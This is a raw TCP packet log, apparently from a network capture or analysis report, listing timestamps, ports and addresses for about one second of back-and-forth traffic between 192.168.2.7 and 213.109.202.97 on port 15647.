Sep 26, 2024 01:49:25.006455898 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.011236906 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.011343956 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.016124964 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.016200066 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.020977020 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.021044970 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.025921106 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.025974035 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.030705929 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.030787945 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.035516977 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.035590887 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.041300058 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.041410923 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.046140909 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.046192884 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.050977945 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.051048040 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.055829048 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.055877924 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.060731888 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.060811043 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.066543102 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.066622972 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.072669983 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.072722912 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.077543974 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.077764988 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.082746983 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.083631039 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.089669943 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.089742899 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.095283985 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.095360041 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.101335049 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.101402998 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.106194973 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.106241941 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.111078978 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.111167908 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.115935087 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.116138935 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.120963097 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.121007919 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.126072884 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.126204014 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.131020069 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.131288052 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.136224985 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.136274099 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.141041040 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.141098976 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.145998001 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.146065950 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.150824070 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.150875092 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.155672073 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.155731916 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.160444021 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.160543919 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.165316105 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.167892933 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.172960997 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.175627947 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.180551052 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.183916092 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.188915014 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.191586971 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.196492910 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.199927092 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.206006050 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.207535982 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.212476969 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.215910912 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.220772982 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.223536968 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.228410006 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.231566906 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.237157106 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.239907026 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.244688988 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.244859934 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.249634981 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.249681950 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.254554987 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.254633904 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.259449959 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.259496927 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.264250994 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.264343023 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.269141912 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.269229889 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.273993969 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.274080992 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.278812885 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.278871059 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.283643007 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.283802986 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.288635015 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.288743973 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.293579102 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.293708086 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.298553944 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.298612118 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.303469896 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.303553104 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.308362007 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.308444023 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.313193083 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.313239098 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.318145037 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.318200111 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.322951078 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.323067904 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.327814102 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.327872038 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.332607985 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.332746029 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.337522984 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.339735985 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.344548941 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.347733974 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.352492094 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.355743885 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.360567093 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.363750935 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.368557930 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.371855021 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.376637936 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.379899979 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.384752035 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.387536049 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.392374039 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.397540092 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.402426004 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.404584885 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.409384966 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.413532972 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.418312073 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.418843985 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.423727036 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.423777103 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.428630114 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.431560040 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.436625957 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.436700106 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.442671061 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.442764044 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.447614908 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.447665930 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.452485085 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.460751057 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.465538979 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.465636015 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.470439911 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.471869946 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.476607084 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.481533051 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.486445904 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.487545967 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.492383003 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.492444992 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.497176886 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.497245073 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.502057076 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.502115011 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.506925106 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.506973982 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.511725903 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.511784077 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.516581059 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.516736984 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.521578074 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.521754026 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.526593924 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.526705027 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.531493902 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.531542063 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.536401033 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.541529894 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.546331882 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.546602964 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.551400900 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.551446915 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.556209087 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.556260109 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.561162949 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.561216116 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.566071033 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.566114902 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.570991039 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.571037054 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.577994108 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.578033924 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.584723949 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.584815025 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.591149092 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.591721058 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.596524000 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.599560022 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.604378939 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.607924938 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.612751961 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.615636110 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.620408058 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.623555899 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.628340960 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.631545067 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.636315107 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.637366056 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.642133951 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.642195940 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.646992922 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.647155046 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.651988983 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.652041912 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.656864882 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.656913996 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.666879892 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.666927099 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.671772003 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.672095060 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.676925898 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.679594994 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.686278105 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.687545061 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.692310095 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.695905924 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.700716972 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.703753948 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.710603952 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.711910009 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.718696117 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.719770908 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.726543903 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.727905035 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.734776020 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.734883070 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.739712954 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.739779949 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.744566917 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.744630098 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.749418974 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.749547958 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.754296064 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.755842924 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.760727882 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.760782957 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.765568972 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.765609026 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.770385027 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.770448923 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.775259972 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.775329113 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.780042887 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.780101061 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.784890890 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.784959078 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.789731979 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.789894104 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.794727087 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.794863939 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.799618006 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.799664021 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.804455042 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.804507971 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.809345961 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.809391975 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.814464092 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.814528942 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.819297075 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.819371939 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.826427937 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.826642036 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.833576918 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.833651066 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.838485003 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.838557959 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.843564034 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.843724966 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.848601103 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.848670006 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.853696108 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.853744984 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.858901978 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.858967066 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.864078999 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.864137888 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.869461060 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.869512081 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.874655008 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.874716043 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.879808903 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.879962921 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.884756088 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.885001898 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.889861107 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.889935017 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.894680023 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.894761086 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.899555922 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.899641037 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.904673100 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.907651901 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.912965059 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.915644884 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.920453072 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.923621893 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.928392887 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.928458929 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.933212996 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.933331966 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.938287020 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.938410044 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.943253994 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.943321943 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.948163033 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.948256016 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.953063011 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.953115940 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.957921028 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.958000898 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.962882042 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:25.962934971 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:25.967820883 CEST	15647	58394	213.109.202.97	192.168.2.7
